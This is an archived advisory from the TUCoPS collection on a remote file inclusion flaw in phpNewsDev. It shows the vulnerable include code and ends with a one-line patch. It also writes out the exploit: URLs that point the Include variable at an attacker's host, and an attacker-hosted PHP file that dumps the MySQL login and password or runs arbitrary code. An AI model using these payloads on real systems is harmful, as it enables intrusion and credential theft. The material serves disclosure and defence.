Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: phpnewsd.txt

phpNewsDev PHP Exploit





Informations :
같같같같같같같
Language : PHP
Tested version : 1
Problem : bad use of include()

PHP Code :
같같같같같
-------Include/variables.php3-------
<?
$Mac="localhost";
$Uti="root";
$Mot="";
$Bd="phpnews";
$AnneeDeDemarrage="2000";
$MoisDeDemarrage="8";
$NbNouvelles=5;
require("$Include/french.inc");
?>
-----------------------------------

and Include/lib.inc.php3 :
------------------------------------
include("$Include/config.inc.php3");
------------------------------------


Exploits :
같같같같같
http://[target]/variables.php3?Include=http://[attacker]
with in the file http://[attacker]/french.inc :
<?
print("<center><u>MySQL Infos</u></center>\n\nServeur: $Mac \nLogin: $Uti 
\nPass: $Mot \nDB Name: $Bd");
?>

and

http://[target]/Include/lib.inc.php3?http://[attacker]
with in a bad php code in the file :
http://[attacker]/config.inc.php3


Patch :
같같같
Add to the beginning of :
----------------------
Include/lib.inc.php3
Include/variables.php3
----------------------

the line :
$Include="Include";



More details in french :
http://www.frog-man.org/tutos/phpnewsDev.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FphpnewsDev.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII



frog-m@n








_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous ! 
http://search.msn.fr/worldwide.asp


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH